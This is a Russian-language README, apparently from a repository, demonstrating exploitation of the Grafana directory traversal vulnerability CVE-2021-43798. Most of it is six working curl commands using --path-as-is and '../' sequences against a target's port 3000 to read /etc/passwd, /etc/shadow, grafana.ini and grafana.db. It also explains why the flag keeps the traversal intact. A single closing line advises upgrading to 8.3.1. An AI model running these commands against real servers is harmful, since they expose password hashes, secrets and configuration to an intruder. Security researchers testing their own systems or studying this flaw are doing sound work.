
Этот репозиторий демонстрирует эксплуатацию CVE-2021-43798, уязвимости обхода каталога в Grafana. Эта уязвимость позволяет злоумышленникам читать произвольные файлы на сервере.
Чтобы эксплуатировать уязвимость вручную, вы можете использовать одну из следующих команд curl, чтобы попытаться прочитать чувствительные файлы:
curl --path-as-is "http://<target_ip>:3000/public/plugins/alertlist/../../../../../../../../../../../Users/install.txt"
curl --path-as-is "http://<target_ip>:3000/public/plugins/alertlist/../../../../../../../../../../../etc/passwd"
curl --path-as-is "http://<target_ip>:3000/public/plugins/alertlist/../../../../../../../../../../../etc/grafana/grafana.ini"
curl --path-as-is "http://<target_ip>:3000/public/plugins/alertlist/../../../../../../../../../../../var/lib/grafana/grafana.db"
curl --path-as-is "http://<target_ip>:3000/public/plugins/alertlist/../../../../../../../../../../../etc/hostname"
curl --path-as-is "http://<target_ip>:3000/public/plugins/alertlist/../../../../../../../../../../../etc/shadow"
В контексте эксплуатации уязвимости обхода каталога Grafana CVE-2021-43798 параметр --path-as-is необходим, потому что он позволяет отправлять специально созданные последовательности обхода (../../../../../) напрямую на сервер без изменений. Это может привести к доступу к чувствительным файлам на сервере, находящимся за пределами предполагаемого каталога.
Без --path-as-is curl может нормализовать путь до чего-то вроде /public/plugins/Users/install.txt, что не приведёт к эксплуатации уязвимости. Используя --path-as-is, точная последовательность обхода сохраняется, что позволяет эксплойту сработать.
Вы можете найти более подробную информацию о параметре --path-as-is в документации curl. Понимая и используя --path-as-is, специалисты по безопасности и исследователи могут эффективно демонстрировать и тестировать уязвимости обхода каталога в веб-приложениях.
Чтобы устранить эту уязвимость, обновите Grafana до версии 8.3.1 или более поздней.